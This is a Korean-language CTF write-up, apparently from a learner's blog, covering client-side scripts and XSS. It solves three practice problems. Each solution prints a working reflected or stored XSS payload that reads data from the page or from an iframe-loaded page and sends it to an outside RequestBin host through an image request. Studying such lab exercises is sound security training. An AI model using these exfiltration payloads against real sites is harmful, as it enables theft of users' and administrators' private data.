본문 바로가기

웹 해킹

[XSS] Client Script, 문제 풀이

Client Script?

 

> 서버측이 아닌 클라이언트측에서 실행되는 스크립트를 의미하며 대표적으로 JavaScript가 있다.

> 웹 페이지, 사용자 브라우저에서 실행되는 스크립트 언어이다.

> 웹 서버에서 실행되는 서버 스크립트와 대조됨. 서버 스크립트는 서버에서 처리된 후 결과가 클라이언트로 전송되지만, 클라이언트 스크립트는 사용자의 브라우저에서 직접 실행되어 페이지의 동작을 제어함.

> 응답이 빠르며 서버 자원이나 파일 시스템등에는 접근이 제한되어있다.

 

 

이 ClientScript를 사용하여 할 수 있는 동작들이 있다. 페이지를 리다이렉트 한다던가 하는.

Client Script로 어떤 코딩을 하느냐에 따라서 할 수 있는건 많아지게 된다. 피싱사이트로 접속을 유도하는등.

이번엔 DOM 객체에 접근하여 XSS취약점을 활용해 데이터를 가져오는 것에 대해 다뤄보았다.

 

DOM객체 접근 방법)

위 그림과 같은 페이지가 있을때 해당 document에 접근하기 위해서는

 

"document.getElementsByName('info')" 를 작성하여 주면된다.

그안에 placeholder 값을 가져오고 싶다면 소스부분이므로

"document.getElementsByName('info').placeholder"로 사용하여 주면되는데

document.getElementById와는 다르게 ClassName은 중복이 가능하므로

해당 순서의 번호를 기록하여 주어야한다.

따라서 " document.getElementsByClassName('info')[1].placeholder" 라고 작성하여주면 해당 input 태그안의 placehoder 값을 가져올 수 있게 된다.

 

이와같이 DOM객체에 접근하는 Script 코드는

  • document.getElementById('____')
  • document.getElementsByClassName('____')
  • document.getElementById('____')

등 여러가지 존재한다.

XSS 취약점에서 이러한 스크립트를 사용해 다른 계정에서 중요 정보를 가져오는것에 대해 실습하였다.

 

나만의 순서를 정리해보자면

1. XSS취약점 포인트 찾기 / DOM객체 접근확인

2. 스크립트 만들기

3. console.log를 활용해 해당 데이터가 출력이 정상적으로 되는지 확인.

4. XSS취약점을 활용해 Requestbin으로 값을 받아옴.

 

 


1. Basic Script Prac

 

해당 문제는 mypage 내부에 GET방식으로 ID 파라미터를 가져오는 구문에 XSS취약점 포인트가 있고 그 아래 중요 데이터가 저장되어 있다.

 

우선 alert(1)을 띄우는것 부터 시작해 보았다.

>Reflected XSS 취약점 포인트

이후 flag을 얻을 DOM객체에 접근해보았다.

 

 

> 스크립트를 삽입하여 consolelog로 Flag Here 뽑아내보기

<script>var+flag=document.getElementsByName(%27info%27)[0].placeholder;console.log(flag)</script>

 

실패하였다. undefined 즉 정의되지 않았다고 한다.

이 과정에서 오타가 있었나 체크해보았지만 오타는 존재하지 않았다.

정의가 되지 않았다는것은 아직 해당 태그가 존재하지 않는다는것 -> 즉 로드가 되기 전에 스크립트가 먼저 실행되었기 때문에

해당 오류가 발생한것으로 판단되었다.

아니나 다를까 강의에서 모두 로드하고 난다음에 실행하는 이벤트리스너를 알려주었다.

> 스크립트 변경

<script>
window.addEventListener('DOMContentLoaded',function(){
var flag=document.getElementsByName('info')[0].placeholder;
console.log(flag)
});
</script>

 

window.addEventListener('DOMContentLoaded',function(){

_____________원하는 스크립트 삽입__________

});

과 같은 방식을 사용하면 된다.

추후 다른문제에서도 같은 문제가 발생하여 해당 이벤트 리스너는 계속 사용하게 되었다.

 

 

>URL로 접근하였을때 정상적으로 console.log가 출력되는지 확인

정상적으로 접근이 된다.

 

이제 requestbin 서버를 열어준 후 해당 flag를 console.log가 아닌

img 태그를 생성하여 내 서버에 flag를 담아 요청을 보내오는 식으로 값을 받아왔다.

<script>
window.addEventListener('DOMContentLoaded',function(){
var flag=document.getElementsByName('info')[0].placeholder;
var i = new Image();
i.src = "http://REQUESTBINURL.com/?flag="+flag
});
</script>

 

해당 URL 복사 후 관리자가 접속하도록 보내주게되면 FLAG 획득!


2. Steal info 1, Steal info 2

 

해당 문제들의 풀이는 위 문제와 거의 유사하며 

두 문제 전부다 게시판 내부 CONTENT에 XSS 취약점 포인트가 존재한다 (Stored XSS)

 

하지만 이 두문제에서는 XSS취약점이 있는 포인트와는 다른 페이지에 있는 값을 얻어와 보내주어야 한다는 차이점이 존재한다

따라서 다른 페이지의 값을 불러와 그 값을 접근하는 방식이 약간 다르다.

그 차이점, 즉 iframe과 접근방식에 대해서만 기록해보려한다.

 


Steal info 1번 문제)

해당 페이지의 내 정보의 값을 가져오고 싶다.

우선 접근부터 해보았다.

 

이제 게시판으로 이동하여 해당 페이지를 불러온 후 값에 접근을 해보았다.

해당 코드를 작성하게 되면.

게시판에서 해당 페이지를 로드할 수 있다.

 

여기서 iframe에 id값을 targetFrame으로 주어 추후

"document.getElementById('targetFrame')" 과 같은 방식을 사용해 접근하게 된다.

 

접근 방식은 다음과 같다.

 

위 콘솔을 순서대로 설명하자면

1. iframe을 불러온 후

2. 해당 iframe의 contentDocument에 접근 -> 해당 페이지가 담김

3. 해당 페이지 내부의 'card-text'라는 이름의 ClassName을 가진 요소에 접근

 

이런 방식으로 접근을 하여 다른 페이지의 있는 값도 불러올수 있게 된다.

따라서 XSS취약점이 존재하지 않는 페이지라고 하여 안전하지 않다는 뜻이며 다른 페이지의 XSS취약점을 활용해 얼마던지 정보를 가져올 수 있다는 뜻이 된다.

 

>스크립트 작성

<iframe src = "http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe>
<script>
window.addEventListener('DOMContentLoaded',
function() {
var targetTag = document.getElementById('targetFrame');
var DOMData = targetTag.contentDocument;
var flag = DOMData.getElementsByClassName('card-text')[1].innerHTML;
var i = new Image();
i.src = "https://ynjkuwt.request.dreamhack.games/?flag="+flag
});
</script>

 

해당 게시글에 관리자가 접속하게 한다면 flag 획득!


 

Steal info 2번 문제)

 

해당 문제또한 1번과 같이 게시판의 Contents에 XSS 취약점이 존재하며.

마이페이지의 값을 가져오는 문제다.

 

해당 문제는 위 문제와 차이점이 없어 추가 설명할게 없다.

 

> 코드

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=jdleaf" id="target">
</iframe>
<script>
window.addEventListener('DOMContentLoaded',
function() {
var targetTag=document.getElementById('target');
var DOMData = targetTag.contentDocument;
var flag = DOMData.getElementById('userInfo').placeholder
var i = new Image();
i.src = "https://tvhsgff.request.dreamhack.games/?flag = "+flag
});
</script>